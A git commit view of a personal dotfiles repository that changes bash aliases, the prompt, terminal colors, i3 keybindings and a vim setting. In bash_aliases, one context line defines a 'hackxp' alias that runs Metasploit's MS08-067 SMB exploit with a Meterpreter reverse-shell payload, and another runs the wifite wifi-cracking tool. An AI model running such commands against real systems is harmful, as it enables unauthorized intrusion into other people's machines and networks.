Browse Source

aliases; ps1 hostname

master
Robin Thoni 8 years ago
parent
commit
182e2fc1ac
5 changed files with 46 additions and 68 deletions
  1. 6
    5
      bash/bash_aliases
  2. 3
    48
      bash/bashrc
  3. 10
    10
      gnome-terminal/gnome-terminal/profiles/Default/%gconf.xml
  4. 26
    4
      i3/i3/config
  5. 1
    1
      vim/vimrc

+ 6
- 5
bash/bash_aliases View File

@@ -33,8 +33,8 @@ alias wifi="sudo rfkill unblock wifi;sudo service wicd start; wicd-curses"
33 33
 alias stopwifi="sudo service wicd stop; rfkill block wifi"
34 34
 alias wifite="sudo wifite -wept 10000 -wpst 10000 -wpat 10000 -mac -showb"
35 35
 alias route="sudo route"
36
-alias bashrc="vim ~/.bashrc; source ~/.bashrc"
37
-alias rc="vim ~/.bashrc; source ~/.bashrc"
36
+alias bashrc="vim ~/.bashrc; reload"
37
+alias bashaliases="vim ~/.bash_aliases; reload"
38 38
 alias restart="shutdown -r 0"
39 39
 alias dd="sudo dd"
40 40
 alias ddstatus="sudo pkill --signal USR1 \"^dd$\""
@@ -87,6 +87,7 @@ alias arduino="~/tools/arduino-1.6.5-r5/arduino"
87 87
 alias arduino1.0="~/tools/arduino-1.0.6/arduino"
88 88
 alias genymotion="~/tools/genymotion/genymotion"
89 89
 alias windows="virtualbox --startvm Windows7"
90
+alias vm01="virtualbox --startvm vm01.vpn.rthoni.com"
90 91
 alias gdo="sudo -u gogs"
91 92
 alias gdo-pull="gdo git pull -r"
92 93
 alias cert-check-etc="cert-check /etc/ssl/private $((60 * 60 * 24 * 31))"
@@ -94,15 +95,15 @@ alias cert-renew-all-etc="cert-renew-all /etc/ssl/private $((60 * 60 * 24 * 31))
94 95
 alias update-confs="cd ~/confs && git pull -r && reload"
95 96
 alias pycharm="~/tools/pycharm-latest/bin/pycharm.sh"
96 97
 alias xcopy="xclip -selection clipboard"
97
-alias ap-bridge-eth0="rfkill unblock wifi && sudo create_ap --config /etc/create_ap/bridge_eth0.conf"
98
+alias ap="rfkill unblock wifi && sudo ap"
98 99
 alias nst="sudo netstat -ntpa | grep LISTEN"
99 100
 alias nsu="sudo netstat -nupa"
100 101
 alias ns=nst
101 102
 alias hackxp="msfconsole -x 'use exploit/windows/smb/ms08_067_netapi; set payload windows/meterpreter/reverse_tcp; echo set LHOST my_ip; echo set RHOST target_ip'"
102
-alias signal="/usr/bin/chromium-browser --profile-directory=Default --app-id=bikioccmkafdpakkkcpdbppfkghcmihk"
103
+alias signal="google-chrome --profile-directory=Default --app-id=bikioccmkafdpakkkcpdbppfkghcmihk"
103 104
 alias slog="tail -f /var/log/syslog"
104 105
 alias devsd="ls /dev | grep sd"
105 106
 alias catlease="cat \$(ps aux | grep dhclient | grep -oE '\-lf [^ ]+' | cut -d' ' -f2)"
106
-alias prv-mount="cryptsetup luksOpen ~/keep/private_data private_data && mount /dev/mapper/private_data /media/private_data"
107
+alias prv-mount="cryptsetup luksOpen ~/keep/private_data private_data && mount /dev/mapper/private_data /media/private_data && cd /media/private_data"
107 108
 alias prv-umount="umount /media/private_data && cryptsetup luksClose private_data"
108 109
 alias ssh-socks="ssh -N -D 127.0.0.1:1080"

+ 3
- 48
bash/bashrc View File

@@ -65,9 +65,9 @@ if [ -n "$force_color_prompt" ]; then
65 65
 fi
66 66
 
67 67
 if [ "$color_prompt" = yes ]; then
68
-  PS1='\[\e[01;31m\]$(_ps1_exit_status)\[\e[0m\]${debian_chroot:+($debian_chroot)}\u@\H:'"\[\e[01;34m\]\w\[\e[0m\]\[\e[01;32m\]"'$(__git_ps1 " [%s]")'"\[\e[0m\]\$ "
68
+  PS1='\[\e[01;31m\]$(_ps1_exit_status)\[\e[0m\]${debian_chroot:+($debian_chroot)}\u@\h:'"\[\e[01;34m\]\w\[\e[0m\]\[\e[01;32m\]"'$(__git_ps1 " [%s]")'"\[\e[0m\]\$ "
69 69
 else
70
-  PS1='$?${debian_chroot:+($debian_chroot)}\u@\H:\w$(__git_ps1)\$ '
70
+  PS1='$?${debian_chroot:+($debian_chroot)}\u@\h:\w$(__git_ps1)\$ '
71 71
 fi
72 72
 unset color_prompt force_color_prompt
73 73
 
@@ -133,50 +133,6 @@ _ps1_exit_status()
133 133
   fi
134 134
 }
135 135
 
136
-proj()
137
-{
138
-    if [ $# -eq 0 ]
139
-    then
140
-        cd ~/projets
141
-        ls
142
-    elif [ $# -ge 1 ]
143
-    then
144
-        cd ~/projets/*-$1
145
-        if [ $# -ge 2 ]
146
-        then
147
-            cd $2
148
-        fi
149
-    fi
150
-}
151
-
152
-_proj_completion()
153
-{
154
-
155
-    cur=${COMP_WORDS[COMP_CWORD]}
156
-    if [ $COMP_CWORD -eq 1 ]
157
-    then
158
-        COMPREPLY=($(compgen -W "$(/bin/ls -d ~/projets/* | /usr/bin/env grep -oP "\-\K(.*)")" "$cur"))
159
-    elif [ $COMP_CWORD -eq 2 ]
160
-    then
161
-        p=${COMP_WORDS[COMP_CWORD-1]}
162
-        COMPREPLY=($(compgen -W "$(/bin/ls -d ~/projets/*${p}/* | /usr/bin/env grep -oP "\K[^/]+$")" "$cur"))
163
-    else
164
-        COMPREPLY=()
165
-    fi
166
-}
167
-
168
-dhcp()
169
-{
170
-    if [ $# -eq 0 ]
171
-    then
172
-        echo "Usage: $0 interface [args]" >&2
173
-    else
174
-        iface="$1"
175
-        shift
176
-        sudo ifconfig ${iface} up; sudo dhclient -pf /var/run/dhclient.${iface}.pid ${iface} $@
177
-    fi
178
-}
179
-
180 136
 up()
181 137
 {
182 138
   if [ $# -eq 0 ]
@@ -198,9 +154,8 @@ up()
198 154
   fi
199 155
 }
200 156
 
201
-complete -F _proj_completion proj
202
-export NNTPSERVER=news.epita.fr
203 157
 
204 158
 . ~/.bash_aliases
205 159
 . ~/.bash_preexec
206 160
 . ~/.bash_preexec_hooks
161
+

+ 10
- 10
gnome-terminal/gnome-terminal/profiles/Default/%gconf.xml View File

@@ -1,23 +1,23 @@
1 1
 <?xml version="1.0"?>
2 2
 <gconf>
3
-	<entry name="scrollback_unlimited" mtime="1473212266" type="bool" value="true"/>
4
-	<entry name="use_theme_colors" mtime="1473212266" type="bool" value="false"/>
5
-	<entry name="silent_bell" mtime="1473212266" type="bool" value="true"/>
6
-	<entry name="default_show_menubar" mtime="1473212266" type="bool" value="false"/>
7
-	<entry name="palette" mtime="1473212266" type="string">
3
+	<entry name="scrollback_unlimited" mtime="1477683859" type="bool" value="true"/>
4
+	<entry name="use_theme_colors" mtime="1477683859" type="bool" value="false"/>
5
+	<entry name="silent_bell" mtime="1477683859" type="bool" value="true"/>
6
+	<entry name="default_show_menubar" mtime="1477683859" type="bool" value="false"/>
7
+	<entry name="palette" mtime="1477683859" type="string">
8 8
 		<stringvalue>#2E2E34343636:#CCCC00000000:#4E4E9A9A0606:#C4C4A0A00000:#34346565A4A4:#757550507B7B:#060698209A9A:#D3D3D7D7CFCF:#555557575353:#EFEF29292929:#8A8AE2E23434:#FCFCE9E94F4F:#72729F9FCFCF:#ADAD7F7FA8A8:#3434E2E2E2E2:#EEEEEEEEECEC</stringvalue>
9 9
 	</entry>
10
-	<entry name="alternate_screen_scroll" mtime="1473212266" type="bool" value="true"/>
11
-	<entry name="background_color" mtime="1473212266" type="string">
10
+	<entry name="alternate_screen_scroll" mtime="1477683859" type="bool" value="true"/>
11
+	<entry name="background_color" mtime="1477683859" type="string">
12 12
 		<stringvalue>#2E2E34343636</stringvalue>
13 13
 	</entry>
14
-	<entry name="visible_name" mtime="1473212266" type="string">
14
+	<entry name="visible_name" mtime="1477683859" type="string">
15 15
 		<stringvalue>Default</stringvalue>
16 16
 	</entry>
17
-	<entry name="bold_color" mtime="1473212266" type="string">
17
+	<entry name="bold_color" mtime="1477683859" type="string">
18 18
 		<stringvalue>#000000000000</stringvalue>
19 19
 	</entry>
20
-	<entry name="foreground_color" mtime="1473212266" type="string">
20
+	<entry name="foreground_color" mtime="1477683859" type="string">
21 21
 		<stringvalue>#FFFFFFFFFFFF</stringvalue>
22 22
 	</entry>
23 23
 </gconf>

+ 26
- 4
i3/i3/config View File

@@ -81,6 +81,18 @@ bindsym $mod+a focus parent
81 81
 #bindsym $mod+d focus child
82 82
 
83 83
 # switch to workspace
84
+bindsym $mod+F1 workspace 11
85
+bindsym $mod+F2 workspace 12
86
+bindsym $mod+F3 workspace 13
87
+bindsym $mod+F4 workspace 14
88
+bindsym $mod+F5 workspace 15
89
+bindsym $mod+F6 workspace 16
90
+bindsym $mod+F7 workspace 17
91
+bindsym $mod+F8 workspace 18
92
+bindsym $mod+F9 workspace 19
93
+bindsym $mod+F10 workspace 20
94
+bindsym $mod+F11 workspace 21
95
+bindsym $mod+F12 workspace 22
84 96
 bindsym $mod+1 workspace 1
85 97
 bindsym $mod+2 workspace 2
86 98
 bindsym $mod+3 workspace 3
@@ -93,6 +105,18 @@ bindsym $mod+9 workspace 9
93 105
 bindsym $mod+0 workspace 10
94 106
 
95 107
 # move focused container to workspace
108
+bindsym $mod+Shift+F1 move container to workspace 11
109
+bindsym $mod+Shift+F2 move container to workspace 12
110
+bindsym $mod+Shift+F3 move container to workspace 13
111
+bindsym $mod+Shift+F4 move container to workspace 14
112
+bindsym $mod+Shift+F5 move container to workspace 15
113
+bindsym $mod+Shift+F6 move container to workspace 16
114
+bindsym $mod+Shift+F7 move container to workspace 17
115
+bindsym $mod+Shift+F8 move container to workspace 18
116
+bindsym $mod+Shift+F9 move container to workspace 19
117
+bindsym $mod+Shift+F10 move container to workspace 20
118
+bindsym $mod+Shift+F11 move container to workspace 21
119
+bindsym $mod+Shift+F12 move container to workspace 22
96 120
 bindsym $mod+Shift+1 move container to workspace 1
97 121
 bindsym $mod+Shift+2 move container to workspace 2
98 122
 bindsym $mod+Shift+3 move container to workspace 3
@@ -158,9 +182,7 @@ bindsym $mod+l exec i3lock -c 000000
158 182
 bindsym $mod+p exec wakeonlan -i 192.168.1.255 00:0f:fe:88:94:da
159 183
 bindsym $mod+o exec sudo service openvpn restart
160 184
 bindsym $mod+i exec sudo service openvpn restart g75-internet
161
-bindsym $mod+n exec netsoul
162
-bindsym $mod+c exec chromium-browser
163
-bindsym $mod+e exec sudo dhclient eth0
185
+bindsym $mod+c exec google-chrome
164 186
 bindsym $mod+w exec webradio
165 187
 bindsym $mod+s exec bash -i -c signal
166 188
 
@@ -174,4 +196,4 @@ for_window [title="File Operations"] floating enable; border normal; floating_ma
174 196
 
175 197
 exec_always --no-startup-id xsetroot -solid '#050505'
176 198
 exec --no-startup-id nm-applet
177
-exec shutter --min_at_startup
199
+exec shutter --min_at_startup --disable_systray

+ 1
- 1
vim/vimrc View File

@@ -3,7 +3,7 @@ syntax on
3 3
 set mouse=a
4 4
 highlight ExtraWhitespace ctermbg=red guibg=red
5 5
 match ExtraWhitespace /\s\+$/
6
-set colorcolumn=80
6
+set colorcolumn=120
7 7
 highlight colorcolumn ctermbg=green guibg=green
8 8
 set hlsearch
9 9
 nnoremap <F3> :noh<CR>

Loading…
Cancel
Save